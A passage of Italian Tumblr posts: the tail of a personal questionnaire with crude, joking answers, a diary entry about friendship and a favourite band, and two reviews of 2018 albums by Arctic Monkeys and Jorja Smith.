aggettivi per definirti? Stupida, solare, pessimista 221 Il tuo punto debole? Ho paura di essere sempre inferiore agli altri 222 Come ti vesti di solito? Jeans e felpa 223 Cosa ti dicono più spesso? Non saprei 224 Un sogno ricorrente? "L'amante di mia mamma mi regalava un tagliavetro" 225 Una figura di merda che hai fatto? La sposa del matrimonio mi chiede mentre mangio se mi piace il suo vestito.. e io dico che sono buonissimi 226 Cosa fai se un gatto nero ti attraversa la strada? Lo insegue e lo accarezzo 227 Di cosa hai paura? Dei tombini 228 Genere musicale? Rock e punk rock 229 Vai in discoteca? No 230 Per cosa ti batteresti fino al rischio della vita? Suffragio universale. \(ಠ۾ಠ)/ 231 La violenza serve a risolvere i problemi? Quando serve.. si sempre 232 Ti potresti mai innamorare di una persona che non ti piace fisicamente? È successo 233 Ti piace disegnare? Vivo per disegnare 234 Invidi qualcuno? La moglie di bon jovi 235 Convivenza o matrimonio? Convivenza 236 Gli uomini e le donne quanto sono diversi? A oggi sono lontani anni luce 237 Cosa ne pensi di quelli che vanno a puttane? Ognuno prende le malattie come meglio crede 238 Quelli che si drogano? I decadenti le usavano perché credevano potesse migliorare la percezione del sesto senso 239 Come ti immagini fra 20 anni? Sotto un ponte 240 Come hai conosciuto Tumblr? Grazie a una mia amica 241 Qualcuno che conosci nella vita reale legge il tuo Tumblr? Troppe persone.. merdine 242 Qualcuno che conosci nella vita reale è iscritto a Tumblr? Si 243 Sei mai uscito con una persona conosciuta su Tumblr? Non ancora.. ma la incontrerò .. Arianna 244 Ti sei mai pentito di aver fatto sesso con qualcuno? Ehm no... 245 Sei mai stato giudicato male per aver fatto qualcosa? Se sì, cosa? Aver disegnato Flavia come un maiala.. anche lo è veramente 246 Qual è la cosa più ridicola/imbarazzante che hai fatto da ubriaco? Ho detto che volevo tornare col mio ex di fronte alla sua ragazza che era più ubriaca di me 247 Ti sei mai dichiarato alla persona che ti piaceva, essendo ubriaco fortunatamente ancora non è mai successo 248 Hai mai rivelato un segreto, essendo ubriaco? Si 249 Hai mai bevuto talmente tanto da dimenticare tutta la serata? No, metà serata si 250 Hai mai fatto qualcosa di talmente pessimo da non averne mai parlato a nessuno? Si è successo 251 Hai mai sognato di fare sesso con un tuo professore/professoressa? Oddio, con borry.. è stato orribile però mi serviva 6 a fisica...
-come smerdarmi.. hahahaha
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givemeanorigami · 7 years
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Happines can be found even in the darkest of times, if one only remembers to turn on the light
Nonostante non sia il periodo migliore della mia vita, voglio scrivere queste righe in modo da averle nei futuri momenti no, per ricordarmi che come diceva Silente - e come ho scritto sulla parete di camera - "happines can be found even in the darkest of times, if one only remembers to turn on the light".
Per quasi tutta l'adolescenza ho messo gli altri davanti a me, non importava se lo meritassero o meno, era mia indole farlo. Non valeva solo per le decisioni o finire in un gruppo di "amici" che non mi faceva sentire né me stessa né accettata, ma anche di fare cose per strappare un sorriso a persone che poi non hanno mai neanche ringraziato. A volte mi pento di averlo fatto, altre penso "ero una persona più buona, mi faceva piacere farlo, lo facevo". Poche volte, da determinate persone ho visto lo stesso, alla fine sono cose a cui neanche penso più, tranne che in giornate come ieri sera o come stamani. Nel luglio 2006 scoprii una band per cui tanti mi hanno preso in giro, per cui in undici anni spesso mi sono sentita dire "ma li ascolti ancora? Ma sono ancora vivi?", l'ho sentito chiedere così tante volte che a un certo punto neanche ci facevo più caso. Nessuno ha mai visto di buon occhio quella band, nessuno si è mai soffermato a chiedere cosa ci trovassi in loro o perché per me la loro musica era così importante da farmi tatuare una loro frase senza pentirmene un solo giorno. In undici anni, grazie a loro, ho conosciuto tante persone, molte avrei preferito non incontrarle mai, altre sono rimaste conoscenze con cui farsi qualche risata a qualche concerto - e fa sempre un po' piacere arrivare da qualche parte e vedere qualcuno che, nonostante non sia in dovere di salutarti, ti viene a salutare con un sorriso e un "come stai?" -, altre sono entrate e poi uscite dalla vita come succede spesso, ma altre ancora, conosciute a periodi diversi, sono diventate amiche di quelle che sanno farmi pensare che, nonostante in passato abbia avuto amiche di merda, l'amicizia disinteressata esiste. Esiste davvero.
Ieri ero a casa, alcune di queste amiche erano a un concerto di quella band che ci ha fatto conoscere e forse un po' per questo e un po' perché non mi andava di dire a nessuno che era una di quelle sere in cui non mi andava bene nulla e tutto mi stava stretto, persino le pareti di casa. Era una serata nera, di quelle che anche se guardi una sera che ti piace, la testa va ad altro e se non fosse che fa troppo caldo per avere lacrime, forse piangeresti pure per tutta sera abbracciata a un cuscino. Era, perché a un certo punto il telefono ha iniziato a vibrare a intervalli irregolari, foto per salutare, audio per aggiornarmi su come andasse la serata (e per una canzone che tormenta un'amica da quando gliel'ho cantata fino allo sfinimento), canzoni, quelle importanti, quelle per cui non ti vergogni di ammettere che hai cantato in camera da sola e hai pianto - come l'amica che all'inizio di una ha urlato "sto piangendo Pezzy" -, perché sono quelle canzoni che sanno raccontare una parte di undici anni della tua vita che, tra alti e bassi generali, è la parte che spesso direttamente o indirettamente ti ha salvato, ti ha salvato in così tanti modi che è anche difficile spiegarli tutti. E poi ci sono le promesse, quelle fatto ridendo di (dis)avventure milanesi, di freddo che fa venire gli strizzoni di pancia. Quelle promesse che se dette a qualcuno esterno a un'amicizia direbbe "ah", non capendo come e perché è nata e anche se venisse reso partecipe non capirebbe. Quelle promesse che, le persone come me abituate a mantenere le promesse e raramente vederle mantenute dagli altri, si ritengo fortunate, non tanto per 24 secondi di audio in cui un chitarrista che praticamente ha scritto la canzone che ti manda avanti da quando l'hai ascoltata la prima volta parla di cagotto solidale (se non sono normale, è perché sono cresciuta con una band a-normale), ma perché dopo anni di pessime amicizie, di persone che anche se vicine fisicamente erano distanti anni luce, di persone che non ti hanno mai fatto sentire capita, accettata, che ti hanno sempre fatto sentire meno di zero, realizzi quanto sei fortunata, che non importata quanto distanti quelle amiche che dicono il tuo cognome, le stesse che ti urlano ciao negli audio, sono quelle che non importa se spesso distanti - e a breve pure più distanti anche se non ci vuoi pensare - sono tra quelle che ti hanno insegnato cosa vuol dire "amicizia". E ci sono altre persone, oltre a quelle, che te lo hanno insegnato, persone incontrate sotto quel palco ma che poi l'hanno lasciato, però sono rimaste comunque amiche e so bene che il "sono qua per te" è reciproco, ci sono anche persone che quella band la tollera perché mi vuole bene, ma non la ascolta, che comunque sono pilastri in una vita che di stabile ha poco e niente, ma quel palco è casa e sapere che anche se lontana c'è chi ti ricorda quale sia e dove sia casa, fa sempre bene.
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gazemoil · 6 years
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RECENSIONE: Arctic Monkeys - Tranquility Base Hotel & Casino (Domino, 2018)
Gli inglesi Arctic Monkeys sono ormai da oltre di dieci anni una delle band alternative rock più conosciute del pianeta. Dalle sonorità dance punk sfacciate del debutto Whatever People Say I Am, That’s What I’m Not e del sophomore Favourite Worst Nightmare sono progressivamente maturati approdando ad uno stile più maturo e cupo di cui hanno dato prova in Humbug, definito da molti come il loro migliore album. Con il confuso Suck It And See la band ha iniziato a non riscontrare la stessa approvazione del pubblico, ma ha voluto comunque continuare per la propria strada, raggiungendo l’apice della mutazione in icone rock dal fascino serio ed impenetrabile con AM, disco responsabile per aver avviato una vera e propria tendenza tra i giovanissimi che non si erano mai avvicinati al mondo dell’alternative rock, ma che d’altra parte è stato quasi disprezzato dai fan di lunga data per il suo taglio troppo commerciale.
Durante i cinque anni di silenzio discografico, successivi allo scoppio della loro fama a livello popolare, la band ha chiuso nell’armadio giacche di pelle e skinny jeans per reinventarsi di nuovo e reindirizzarsi verso un target demografico diverso. In Tranquility Base Hotel + Casino, il loro sesto attesissimo album, ambiscono ad un ammirevole misterioso sound anni 60′ ultra-moderno, con una sorta d’ispirazione per il progresso compiuto negli studi dell’universo in quei tempi. Purtroppo, spesso l’esecuzione lascia a desiderare ed il disco risulta incredibilmente lento e noioso. Mettendosi al pianoforte e componendo le canzoni partendo proprio da lì, il crooner Alex Turner ha dato inizio ad una gestazione insolita per gli Arctic Monkeys che ha finito per ripercuotersi sulla scelta degli altri strumenti, accantonando chitarre e ritmi coinvolgenti e spegnendo la batteria ed accentuando i bassi. In compenso, la sua voce è posta al centro di tutto e la gamma di synth retrò è abbastanza vasta, ma pur essendo piacevoli ed eleganti, proprio non ce la fanno a soddisfare l’orecchio da soli.
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A pervadere Tranquility Base Hotel + Casino è un’intensa sensazione di oscurità e di mistero - un pò come quella del precedente album - ma anche di stasi e di nebbia - aspetti che, invece, non erano mai stati presenti prima e pur potendo incolpare il predecessore di non essere sempre autentico, non si può dire che fosse piatto e poco accattivante. “I just wanted to be one of the Strokes”, si apre così Star Treatment, la prima canzone dell’album, e così Turner decide di alludere al suo passato, ad un’ambizione che aveva, ha raggiunto ed ha deciso di superare; egli ha perso i confini della sua giovinezza in Britannia ed è rimasto abbagliato dall’estetica decadente di Hollywood, perdendosi in una fantasia tutta sua, a metà tra una pellicola noir in bianco e nero ed un film di fantascienza in cui interpreta una vecchia rock star che, alloggiando in un hotel situato sulla luna in cui è più un prigioniero piuttosto che ospite o proprietario, ricorda il suo passato. Già con la successiva One Point Perspective il ritmo lounge rock e la monotonia musicale - insieme a dei piccoli dettagli come le parole drammaticamente scandite di Turner - iniziano a stancare ed appare evidente come sarebbe stato necessario trovare più modi per adempiere ed esplorare a pieno il particolare stile da loro scelto, facendolo sembrare meno unidimensionale e più espressivo - il che non significa cercare di compensare ai propri limiti vocali con un’interpretazione esageratamente teatrale come accade. Inoltre, se in un primo momento gli Arctic Monkeys appaiono devoti alle nuove sonorità, la linea che separa l’ironia e la serietà diventa mano a mano più sottile e tra i personaggi paradossali descritti da Turner sorge il dubbio che il cantante si stia in realtà prendendo gioco di sé stesso e dell’immagine di crooner che ha incarnato. Se così fosse, questa ambiguità à la Father John Misty non porta proprio acqua al suo mulino, in quanto rovina la credibilità di un disco a questo punto solo apparentemente vulnerabile, volto alla redenzione e meno egocentrico.
Psicologie a parte, American Sports e l’omonima Tranquility Base Hotel + Casino fanno ripartire l’album con il piede giusto ed il loro sfavillante taglio cosmico vintage appare più convincente e dinamico; finalmente l’atmosfera si fa più surrealistica e psichedelica grazie all’uso di effetti, riverberi e giochi intricati tra chitarra e basso. A volte la produzione è fin troppo complicata e la band si distrae in virtuosismi superflui dimenticandosi di arrivare al punto, come nel caso delle articolatissime armonizzazioni vocali ed del finale di chitarre di Golden Trunks che ripagano certamente con una bella atmosfera, ma rimane latente la sensazione di pesantezza e poca definizione strutturale. In paragone Four Out Of Five risulta una traccia divertente, lussureggiante e maggiormente organizzata in quanto rispetta dei canoni più pop.
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A questo punto del disco la saturazione del suono raggiunge livelli abbastanza alti e per l’ennesima volta si sente urgente l’esigenza di un respiro maggiore. Le chitarre riemergono spesso, ma la loro presenza rimane sempre subordinata ad una questione di accompagnamento, mentre il fatto che il batterista suoni come se fosse legato è un altro fattore che grava sulla strumentazione poco muscolare ed è assolutamente uno spreco considerate le sue capacità. She Looks Like Fun è uno degli angoli più strani e scoordinati del disco, in cui si susseguono passaggi di chitarra e pianoforte massicci e stordenti ed un ritornello a dir poco spiacevole, in cui la voce di Turner diventa esageratamente ovattata, vicina e grottesca; solo alla fine la strumentale bipolare si distende nell’assolo di chitarra forse meglio riuscito. L’album si chiude precipitando verso Batphone ed Ultracheese, una ripetizione non necessaria di cose già dette nelle tracce precedenti.
La cosa che delude di più è forse il fatto che si senta l’intenzione di fondo di Turner - specialmente dopo più ascolti - il suo voler raccontare la sua storia, ciò che gli è successo dagli inizi, dai tempi in cui era un ragazzino che suonava con la sua band in Inghilterra sognando l’America fino a quando in America ci è arrivato. Sono i sogni della giovinezza confrontati con la realtà della fama, ma il tutto spesso fatica a venire fuori e viene eseguito con una mediocrità che non dovrebbe appartenere ad una band come gli Arctic Monkeys. Tranquility Base Hotel + Casino rappresenta un’operazione di dissoluzione del suono e dell’estetica di una rock band guidati da un’idea. La storia è studiata anche troppo minuziosamente - e di conseguenza le liriche si arricchiscono e diventano sofisticate - per far sì che dietro ad ogni testo criptico vi corrisponda una metafora che celi la verità sulla vita dell’artista. Eppure, sebbene a livello concettuale sia molto coerente, concretamente le canzoni sono più piacevoli se ascoltate a piccole riprese, altrimenti rischia di risultare vecchio e ridondante. Non sempre l’audace sperimentazione restituisce una sensazione di appagamento, al contrario l’album sembra fermo in un costante stato d’introduzione ed è propenso ad avventurarsi in strade senza uscita. 
TRACCE MIGLIORI: American Sports; Tranquility Base Hotel + Casino 
TRACCE PEGGIORI: She Looks Like Fun; Batphone; The Ultracheese
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gazemoil · 6 years
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RECENSIONE: Jorja Smith - Lost & Found (FAMM, 2018) 
Jorja Smith, giovanissima cantante britannica, con Lost & Found si aggiunge alla lista di promettenti artisti che quest'anno hanno pubblicato l'album di debutto. La sua storia è così simile a quella della collega Kali Uchis che è impossibile non paragonarle: entrambe vengono da anni di collaborazioni per artisti abbastanza famosi, entrambe si ispirano ad Amy Winehouse e all'r&b contemporaneo, entrambe hanno fatto aspettare parecchio per il debutto ed il 2018 è l'anno in cui si scopre qual'è il loro valore come artisti solisti. Lost & Found avrà quindi superato la prova del nove?
La risposta è si, e anche con qualche rivelazione. Jorja Smith ha la sua personalità nel timbro e soprattutto una voce tecnicamente preparata, aspetti che vengono fuori in quest'album sin dal primo momento, con la bellissima opening-track Lost & Found che introduce al meglio all'ascolto con stile neo-soul inconfondibilmente à la Winehouse, riuscendo a non risultare però imitazione forzata di un icona insuperabile, la parte vocale elegante e precisa, mentre la strumentale è forse la più ricca e studiata tra tutte. Jorja è più se stessa nella successiva Teenage Fantasy, scritta quando aveva soli sedici anni è il brano che probabilmente lascia veramente il segno, accattivante e con carattere ancora più forte. Dopo qualche difficoltà ad ingranare nella prima strofa, The One si lascia andare in un ritornello irresistibile e vulnerabile: "I don't wanna feel this way when I / Meet someone / I don't want to need no one / I'm not tryna let you in / Even if I've found the one". I testi non sono esattamente elaborati, ma alla fine sono adeguati al genere e all'età della cantante che in quest'album si ritrova a fare i conti con i sentimenti di un amore giovanile non proprio sano; se il livello e le tematiche fossero state quelle di Lifeboats (Freestyle) per tutto il disco, sarebbe risultato forzato e fuoriluogo.
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In generale pecche ne ha una sola, ed è bella grande: la produzione. Minimale, a volte anche troppo, le sonorità si mantengono su beat che funzionano bene con la voce vellutata e intima, ma significano anche giocare troppo sul sicuro. Lo schema beat tipicamente hip-hop messo in loop, bassi sintetici sempre della stessa matrice, synth semplici e voce improntata di soul e r&B sono gli ingredienti che si ripetono fino ad oltre metà album, fino a quando anticipando l'epilogo c'è uno switch a canzoni strumentalmente ancora più essenziali come la semplice chitarra acustica in Goodbyes, il piano in Don't Watch Me Cry e Tomorrow che tra le ultime tre è sicuramente quella più interessante in quanto dimostra un tentativo di uscire dalla formula fino ad ora utilizzata decidendo, con un piccolo crescendo di batteria jazzata, di far evolvere un minimo la traccia, questa volta però è la voce di Jorja sul ritornello che non convince. Nonostante questo l'album risulta ancora piatto e spezzato in due parti disuguali.
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Per uscire dall'ordinario, Lost & Found avrebbe avuto bisogno di un pò più tridimensionalità, il desiderio di dare a quest'album più ascolti può perdersi rendendosi conto che alla fine non c'è poi cosi tanta diversità, tuttavia ci sono delle eccezioni che hanno reso personalmente questi difetti superabili. Comunque sia per un album di debutto Jorja Smith dimostra di saper intrattenere benissimo con la sua voce che ha sia i tecnicismi e l'esperienza che sono mancati alla collega Kali Uchis, ma è anche piena di trasporto emotivo che valida anche i testi. 
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